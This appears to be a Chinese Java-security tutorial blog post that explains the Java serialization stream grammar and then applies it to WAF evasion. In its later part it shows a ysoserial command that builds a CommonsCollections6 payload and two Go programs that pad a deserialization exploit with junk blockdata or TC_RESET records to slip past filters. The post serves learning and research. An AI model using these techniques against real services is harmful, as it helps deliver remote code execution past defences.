本文为JAVA安全系列文章第二十八篇,主要学习序列化协议语法以及序列化协议的实战应用。
0x01 原始序列化数据的解析
现在有如下一个实现了java.io.Serializable接口的简单Person类:
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
private Person paraent;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public void setParaent(Person paraent) {
this.paraent = paraent;
}
}
我们创建一个Person对象,然后将其序列化并写入到文件:
public class Serial {
public static void main(String[] args) throws Exception {
Person person = new Person("walker1995", 18);
person.setParaent(new Person("walker",48));
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.txt"));
oos.writeObject(person);
}
}
生成的person.txt文件我们使用https://hexed.it/打开如下:
左边是原始的二进制数据,右边是经过ASCII解码后可以看到的一些内容,可以看到类的全限定名和一些字段的信息。
序列化的二进制数据里面到底包含了什么信息?我们如何进行解读呢?
可以使用SerializationDumper这个工具来帮助我们解析原始的序列化数据流,项目地址:
https://github.com/NickstaDB/SerializationDumper
使用命令:
java -jar SerializationDumper-v1.13.jar -r person.txt
解析得到如下结果:
STREAM_MAGIC - 0xac ed
STREAM_VERSION - 0x00 05
Contents
TC_OBJECT - 0x73
TC_CLASSDESC - 0x72
className
Length - 41 - 0x00 29
Value - com.javasec.Serialization_Protocol.Person - 0x636f6d2e6a6176617365632e53657269616c697a6174696f6e5f50726f746f636f6c2e506572736f6e
serialVersionUID - 0x93 77 8b 13 23 46 ca a7
newHandle 0x00 7e 00 00
classDescFlags - 0x02 - SC_SERIALIZABLE
fieldCount - 3 - 0x00 03
Fields
0:
Int - I - 0x49
fieldName
Length - 3 - 0x00 03
Value - age - 0x616765
1:
Object - L - 0x4c
fieldName
Length - 4 - 0x00 04
Value - name - 0x6e616d65
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 01
Length - 18 - 0x00 12
Value - Ljava/lang/String; - 0x4c6a6176612f6c616e672f537472696e673b
2:
Object - L - 0x4c
fieldName
Length - 7 - 0x00 07
Value - paraent - 0x70617261656e74
className1
TC_STRING - 0x74
newHandle 0x00 7e 00 02
Length - 43 - 0x00 2b
Value - Lcom/javasec/Serialization_Protocol/Person; - 0x4c636f6d2f6a6176617365632f53657269616c697a6174696f6e5f50726f746f636f6c2f506572736f6e3b
classAnnotations
TC_ENDBLOCKDATA - 0x78
superClassDesc
TC_NULL - 0x70
newHandle 0x00 7e 00 03
classdata
com.javasec.Serialization_Protocol.Person
values
age
(int)18 - 0x00 00 00 12
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 04
Length - 10 - 0x00 0a
Value - walker1995 - 0x77616c6b657231393935
paraent
(object)
TC_OBJECT - 0x73
TC_REFERENCE - 0x71
Handle - 8257536 - 0x00 7e 00 00
newHandle 0x00 7e 00 05
classdata
com.javasec.Serialization_Protocol.Person
values
age
(int)48 - 0x00 00 00 30
name
(object)
TC_STRING - 0x74
newHandle 0x00 7e 00 06
Length - 6 - 0x00 06
Value - walker - 0x77616c6b6572
paraent
(object)
TC_NULL - 0x70
通过使用工具,似乎我们能够大致地读懂序列化二进制数据了,但对于解析结果中出现的一些字段我们还是会有点懵逼,不明白这个字段到底代表的是什么。故而,我们需要来系统学习下序列化协议。
0x02 序列化协议语法
本节大部分内容参考(抄自) p神《JAVA安全漫谈》
要理解序列化协议,可以先阅读这篇英文文档:
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
根据文档的描述可以知道序列化协议的核心架构如下:
stream:
magic version contents
contents:
content
contents content
content:
object
blockdata
object:
newObject
newClass
newArray
newString
newEnum
newClassDesc
prevObject
nullReference
exception
TC_RESET
在P神的《JAVA安全漫谈》中将这种格式称为依次展开的巴科斯范式。
一、stream
stream就是指完整的序列化协议流, 它是由三部分组成:magic、version和contents。
根据文档的描述,magic和version是在java.io.ObjectStreamConstants接口中定义的常量:
public interface ObjectStreamConstants {
/**
* Magic number that is written to the stream header.
*/
final static short STREAM_MAGIC = (short)0xaced;
/**
* Version number that is written to the stream header.
*/
final static short STREAM_VERSION = 5;
}
magic等于0xaced,version等于5,这两个变量都是short类型,也就是两个字节的整型。这也就是为什么我们说序列化协议流是以 xACxEDx00x05 开头的原因。
二、contents
contents下面有两行定义。可见, contents 等于content ,或者 contents content。
怎么理解呢?
这里实际上是一个简单的递归下降的规则, contents 可以由一个 content 组成,也可以由一个 contents 与一个 content 组成,而后面这种情况里的 contents 又可以继续由这两种情况组成,最后形成一个左递归。
我们可以理解为:contents 是由一个或多个 content 组成。
三、content
content 又是由 object 或者 blockdata 组成。
blockdata 是一个由数据长度加数据本身组成的一个结构,里面可以填充任意内容。这个在序列化协议的学习中并不重要,但在应用中会需要。
四、object
object 就是真正包含Java对象的一个结构,在上面的核心架构中可以看到, object 是由下面任意一个结构组成:
newObject 表示一个对象
newClass 表示一个类
newArray 表示一个数组
newString 表示一个字符串
newEnum 表示一个枚举类型
newClassDesc 表示一个类定义
prevObject 一个引用,可以指向任意其他类型(通过Reference ID)
nullReference 表示null
exception 表示一个异常
TC_RESET 重置Reference ID
有三个比较容易混淆的结构,对象 newObject 、类 newClass 和类定义 newClassDesc 。
这里的对象和类的区别,正如Java中对象和类的区别,前者是某个类实例化的对象,后者是这个类本身。而类定义应该理解为对某一个类的描述,比如这个类名是什么,类中有哪些字段等等。
查看这三个结构的Grammer:
newObject:
TC_OBJECT classDesc newHandle classdata[] // data for each class
newClass:
TC_CLASS classDesc newHandle
classDesc:
newClassDesc
nullReference
(ClassDesc)prevObject // an object required to be of type
// ClassDesc
newClassDesc:
TC_CLASSDESC className serialVersionUID newHandle classDescInfo
TC_PROXYCLASSDESC newHandle proxyClassDescInfo
1.newObject && newClass
newObject 和 newClass 都是由一个标示符+ classDesc + newHandle 组成,只不过 newObject 多一个 classdata[] 。原因是,它是一个对象,其包含了实例化类中的数据,这些数据就储存在 classdata[] 中。
2.classDesc & newClassDesc
classDesc 就是前面说的类定义,不过这个 classDesc 和前面的 newClassDesc 稍微有点区别, classDesc 可以是一个普通的 newClassDesc ,也可以是一个null,也可以是一个指针,指向任意前面已经出现过的其他的类定义。
我们只要简单把 classDesc 理解为对 newClassDesc 的一个封装即可
3.newHandle
newHandle 是一个唯一ID,序列化协议里的每一个结构都拥有一个ID,这个ID由 0x7E0000 开始,每遇 到下一个结构就+1,并设置成这个结构的唯一ID。而前面说的 prevObject 指针,就是通过这个ID来定位它指向的结构。
理解了核心架构,对序列化协议就有了一个初步的了解。读者可以再结合文档回过头去看看第一节中解析出来的序列化数据,应该就能弄懂序列化协议了。
0x03 序列化协议的应用
作为一个实用主义者,我的理念是:倘若我们研究或学习的东西在实际中没用,那么我们就没必要去学了。
那么,学了序列化协议在实际中能有什么用处呢?
一、c0ny1 序列化头加脏数据过WAF
c0ny1师傅的这篇文章Java反序列化数据绕WAF之加大量脏数据就给出了很好的回答,弄懂了序列化协议我们可以用来加入脏数据绕过waf或者修改序列化数据达到某种目的。
在该案例中,waf应该是把gadget的class加入了规则,c0ny1师傅过waf的思路是:
大多数WAF受限于性能影响,当request足够大时,WAF可能为因为性能原因作出让步,超出检查长度的内容,将不会被检查。在序列化头后加了40000个x字符,WAF便不再拦截。
由于直接手工在burp里加入垃圾数据会破坏序列化数据的结构,于是c0ny1利用了集合对象将脏数据对象和ysoserial gadget对象一起包裹起来,并改造原生ysoserial来绕过waf!!!
c0ny1师傅改造的ysoserial项目地址:
https://github.com/woodpecker-framework/ysoserial-for-woodpecker
直接用,有手就行(狗头):
生成payload:
java -jar ysoserial-for-woodpecker-0.5.2.jar -g CommonsCollections6 -a "raw_cmd:calc" --dirt-data-length 400000 >c0ny1.ser
查看payload:
加载payload:
二、p神另类方法加脏数据过WAF
1.zkar
zkar是p神使用go语言写的一款java序列化数据流分析工具,并提供了一些库来修改序列化数据流!!!
项目地址:https://github.com/phith0n/zkar
2.牛刀小试-序列化数据尾部加脏数据过WAF
序列化协议中content 是由 object 或 blockdata 组成, blockdata 就是一个适合用来填充脏字符的结构:
content:
object
blockdata
blockdata:
blockdatashort
blockdatalong
blockdatashort:
TC_BLOCKDATA (unsigned byte)<size> (byte)[size]
blockdatalong:
TC_BLOCKDATALONG (int)<size> (byte)[size]
使用可以保存较长数据的blockdatalong来填充垃圾数据,该结构的三部分为:
TC_BLOCKDATALONG 标示符
(int)<size> 数据长度,是一个4字节的整型
(byte)[size] 数据具体的内容
编写Go程序,并调用zkar库中的结构和方法,来构造填充了垃圾字符的 CommonsCollections6的Payload:
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
"strings"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_BLOCKDATALONG,
BlockData: &serz.TCBlockData{
Data: []byte(strings.Repeat("a", 40000)),
},
}
serialization.Contents = append(serialization.Contents, blockData)
ioutil.WriteFile("cc6-padding.ser", serialization.ToBytes(), 0o755)
}
这段代码表示在读取原始的Payload(cc6.ser)后,新建了一个 serz.TCContent{} 结构,并向其填充了4w个a,最后生成的 Payload如下:
加载该payload成功执行:
3.p神原创另类头部加脏数据方法
上面的填充有缺陷,因为填充的数据是在Payload之后。如果WAF是检查数据包的前N 个字符,则依然无法绕过WAF。
那么如何把垃圾字符填充在Payload之前呢?
我们尝试将blockdata放到前面:
serialization.Contents = append([]*serz.TCContent{blockData},serialization.Contents...)
ioutil.WriteFile("cc6-padding2.ser", serialization.ToBytes(), 0o755)
得到的payload如下:
加载payload:
出现了报错,可以看到是在java.io.ObjectInputStream.readObject0()处报的错。我们来看下改方法:
/**
* Underlying readObject implementation.
*/
private Object readObject0(boolean unshared) throws IOException {
boolean oldMode = bin.getBlockDataMode();
if (oldMode) {
int remain = bin.currentBlockRemaining();
if (remain > 0) {
throw new OptionalDataException(remain);
} else if (defaultDataEnd) {
/*
* Fix for 4360508: stream is currently at the end of a field
* value block written via default serialization; since there
* is no terminating TC_ENDBLOCKDATA tag, simulate
* end-of-custom-data behavior explicitly.
*/
throw new OptionalDataException(true);
}
bin.setBlockDataMode(false);
}
byte tc;
while ((tc = bin.peekByte()) == TC_RESET) {
bin.readByte();
handleReset();
}
depth++;
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
} finally {
depth--;
bin.setBlockDataMode(oldMode);
}
}
由上面的代码可知,只有在处理 TC_RESET 的时候是一个循环,通过while循环消耗掉所有的 TC_RESET 后就进入了一 个switch选择语句。此时因为 contents 里第一个结构是一个 blockdata ,所以会进入 case TC_BLOCKDATALONG 中,而这里面就抛出了异常。
也就是说,Java只会处理 contents 里面除了 TC_RESET 之外的首个结构,而且这个结构不能是 blockdata 、 exception 等。
前面在 object 后填充一个 blockdata 的方法之所以可行,就是因为首个结构是 object ,处理完后反序列化就结束了, blockdata 根本没有处理,也就不会抛出异常了。
那么,利用 contents 来填充垃圾字符的思路依然有效,在处理object 前Java会丢弃所有的 TC_RESET (实际上在Grammer中 TC_RESET 也是 object 的一种结 构),故我们可以使用TC_RESET来填充垃圾字符。
Go代码如下:
package main
import (
"github.com/phith0n/zkar/serz"
"io/ioutil"
"log"
)
func main() {
data, _ := ioutil.ReadFile("cc6.ser")
serialization, err := serz.FromBytes(data)
if err != nil {
log.Fatal("parse error")
}
var contents []*serz.TCContent
for i := 0; i < 5000; i++ {
var blockData = &serz.TCContent{
Flag: serz.JAVA_TC_RESET,
}
contents = append(contents, blockData)
}
serialization.Contents = append(contents, serialization.Contents...)
ioutil.WriteFile("cc6-padding3.ser", serialization.ToBytes(), 0o755)
}
得到的payload:
加载payload:
成功执行,perfect!!!
0x04 总结
本文我们学习了序列化协议的语法,并学习使用了下c0ny1师傅改造的ysoserial以及p神的zkar项目来对序列化 payload加脏数据达到绕过waf并成功执行代码的目的。
参考:
p神《JAVA安全漫谈》
c0ny1:Java反序列化数据绕WAF之加大量脏数据
Java安全系列文集
第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用
第8篇:JAVA安全|Gadget篇:TransformedMap CC1链
第10篇:JAVA安全|Gadget篇:LazyMap CC1链
第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链
第14篇:JAVA安全|Gadget篇:CC3链及其通杀改造
第15篇:JAVA安全|Gadget篇:CC依赖下为shiro反序列化利用而生的CCK1 CC11链
第17篇:JAVA安全|Gadget篇:CC2 CC4链—Commons-Collections4.0下的特有链
第19篇:JAVA安全|Gadget篇:Ysoserial CB1链
第20篇:JAVA安全|Gadget篇:shiro无依赖利用与常见shiro利用工具对比浅析
第21篇:JAVA安全|Gadget篇:JDK原生链—JDK7u21
第22篇:JAVA安全|字节码篇:字节码操作库—javassist
第24篇:JAVA安全|字节码篇:常见字节码指令(JVM指令)
第25篇:JAVA安全|字节码篇:字节码操作框架—ASM(原理)
第26篇:JAVA安全|字节码篇:字节码操作框架-ASM(基本使用)
第27篇:JAVA安全|字节码篇:浅谈ASM结合JavaAgent的字节码插桩技术
如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~
原文始发于微信公众号(沃克学安全):JAVA安全|基础篇:浅谈序列化协议解析及应用
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论